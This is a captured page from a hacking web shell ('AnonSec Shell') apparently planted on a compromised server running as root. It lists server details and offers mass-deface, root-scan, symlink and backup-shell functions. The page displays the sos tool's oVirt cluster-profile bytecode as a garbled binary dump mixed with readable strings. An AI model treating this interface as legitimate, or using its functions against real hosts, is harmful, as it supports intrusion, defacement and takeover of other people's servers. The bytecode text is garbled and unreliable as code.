AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/sos/collector/clusters/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/sos/collector/clusters/__pycache__/ovirt.cpython-310.pyc
o

���b� �@sXddlZddlmZddlmZdZGdd�de�ZGdd�de�ZGd	d
�d
e�ZdS)�N)�quote)�Clusterz(/etc/pki/ovirt-engine/keys/engine_id_rsac@sleZdZdZdZdZdZgd�Zdd�Zdd	�Z	d
d�Z
dd
�Zdd�Zdd�Z
dd�Zdd�Zdd�ZdS)�ovirta�
    This cluster profile is for the oVirt/RHV project which provides for a
    virtualization cluster built ontop of KVM.

    Nodes enumerated will be hypervisors within the envrionment, not virtual
    machines running on those hypervisors. By default, ALL hypervisors within
    the environment are returned. This may be influenced by the 'cluster' and
    'datacenter' cluster options, which will limit enumeration to hypervisors
    within the specific cluster and/or datacenter. The spm-only cluster option
    may also be used to only collect from hypervisors currently holding the
    SPM role.

    Optionally, to only collect an archive from manager and the postgresql
    database, use the no-hypervisors cluster option.

    By default, a second archive from the manager will be collected that is
    just the postgresql plugin configured in such a way that a dump of the
    manager's database that can be explored and restored to other systems will
    be collected.

    The ovirt profile focuses on the upstream, community ovirt project.

    The rhv profile is for Red Hat customers running RHV (formerly RHEV).

    The rhhi_virt profile is for Red Hat customers running RHV in a
    hyper-converged setup and enables gluster collections.
    zCommunity oVirt)zovirt-enginez3/usr/share/ovirt-engine/dbscripts/engine-psql.sh -c))�no-databaseFzDo not collect a database dump)�cluster�z'Only collect from hosts in this cluster)�
datacenterrz*Only collect from hosts in this datacenter)�no-hypervisorsFzDo not collect from hypervisors)�spm-onlyFzOnly collect from SPM host(s)cCs d|jt|�f}|j|dd�S)z�
        Wrapper for running DB queries on the manager. Any scrubbing of the
        query should be done _before_ passing the query to this method.
        z%s %sT��	need_root)�db_execr�exec_primary_cmd)�self�query�cmd�r�>/usr/lib/python3/dist-packages/sos/collector/clusters/ovirt.py�
_run_db_query<szovirt._run_db_querycs<|sdSgd��t�fdd�|D��r|�d|�dS|S)z�
        Manually sanitize SQL queries since we can't leave this up to the
        driver since we do not have an actual DB connection
        �%)��\�
�
��"�'c3s�|]}|�vVqdS)Nr)�.0�x��
invalid_charsrr�	<genexpr>Ms�z#ovirt._sql_scrub.<locals>.<genexpr>zMWARNING: Cluster option '%s' contains invalid characters. Using '%%' instead.)�any�log_warn)r�valrrr�
_sql_scrubDs�zovirt._sql_scrubcCsR|jjr#t|jj|jj|jjg�s%|j�t�r'|�	t�|�
d�dSdSdSdS)a
        Checks for the presence of the VDSM ssh keys the manager uses for
        communication with hypervisors.

        This only runs if we're locally on the RHV-M, *and* if no ssh-keys are
        called out on the command line, *and* no --password option is given.
        z]Found engine SSH key. User command line does not specify a key or password, using engine key.N)�primary�localr"�opts�ssh_key�password�password_per_node�file_exists�
ENGINE_KEY�add_default_ssh_key�	log_debug�rrrr�_check_for_engine_keysTs�
�zovirt._check_for_engine_keyscCs.d|_|�d�s
|��|_|��|��dS)NFr)�pg_pass�
get_option�
parse_db_conf�conf�
format_db_cmdr1r0rrr�setupes


zovirt.setupcCsZ|�|�d��}|�|�d��}d||f|_|�d�r#|jd7_|�d|j�dS)Nrrz�SELECT host_name from vds where cluster_id in (select cluster_id FROM cluster WHERE name like '%s' and storage_pool_id in (SELECT id FROM storage_pool WHERE name like '%s'))r
z AND spm_status = 2z%Query command for ovirt DB set to: %s)r%r3�dbqueryr/)rrrrrrr6ls�
zovirt.format_db_cmdcCsX|�d�rgS|�|j�}|ddkr$|d��dd�}dd�|D�Std	|d��)
Nr	�statusr�output����cSsg|]}|�d�d���qS)�(r)�split�strip)r�nrrr�
<listcomp>�sz#ovirt.get_nodes.<locals>.<listcomp>z&database query failed, return code: %s)r3rr8�
splitlines�	Exception)r�res�nodesrrr�	get_nodes{s
�zovirt.get_nodescCs|�d�s|jr|��SdS)NrF)r3r5�collect_databaser0rrr�
run_extra_cmd�szovirt.run_extra_cmdc	Cs�i}d}|jd|dd�}|ddkrE|d��}|D]'}zt|�d�d�}t|�d�d	�d
d��}|||<WqtyBYqw|SdS)
Nz6/etc/ovirt-engine/engine.conf.d/10-setup-database.confzcat %sTrr9rr:�=�rrF)rrB�strr>�replace�
IndexError)rr5�engconfrD�config�line�k�vrrrr4�s�zovirt.parse_db_confcCs�djd|jd|jd|jd|jdd�}d�|jd	|�}|j|d
d�}|d��D]}t�|d
�rI|��}|jj�d|�	d�d�|Sq,|�
d�dS)Nzn-k {plugin}.dbname={db} -k {plugin}.dbhost={dbhost} -k {plugin}.dbport={dbport} -k {plugin}.username={dbuser} �
postgresql�ENGINE_DB_DATABASE�ENGINE_DB_HOST�ENGINE_DB_PORT�ENGINE_DB_USER)�plugin�db�dbhost�dbport�dbuserzLPGPASSWORD={} /usr/sbin/sosreport --name=postgresql --batch -o postgresql {}�ENGINE_DB_PASSWORDTrr:z*sosreport-*tar*�postgresql_dump�/r<zFailed to gather database dumpF)�formatr5rrB�fnmatchr?r&�manifest�	add_fieldr>�	log_error)r�sos_optr�db_sosrP�_pg_dumprrrrG�s*��
��
zovirt.collect_databaseN)�__name__�
__module__�__qualname__�__doc__�cluster_name�packagesr
�option_listrr%r1r7r6rFrHr4rGrrrrrsrc@s eZdZdZdZdZdd�ZdS)�rhvzRed Hat Virtualization)�rhevm�rhvmcCs$|j|jjkr	dS|�d�rdSdS)N�managerzovirt-node-ng-nodectl�rhvh�rhelh)�addressr&�is_installed)r�noderrr�set_node_label�s

zrhv.set_node_labelN)rhrirjrlrm�
sos_presetrxrrrrro�s
roc@s0eZdZdZdZddiZdZdd�Zdd	�Zd
S)�	rhhi_virtz6Red Hat Hyperconverged Infrastructure - Virtualization)�glusterzgluster.dump�onrocCs|j�d�o	|��S)Nrq)r&rv�_check_for_rhhivr0rrr�
check_enabled�szrhhi_virt.check_enabledcCs2|�d�}|ddkr|d��d��dkSdS)Nz+SELECT count(server_id) FROM gluster_serverr9rr:r;�0F)rrBr?)r�retrrrr}�s
zrhhi_virt._check_for_rhhivN)	rhrirjrl�sos_plugins�sos_plugin_optionsryr~r}rrrrrz�srz)	ra�pipesr�sos.collector.clustersrr-rrorzrrrr�<module>s
#

Anon7 - 2022
AnonSec Team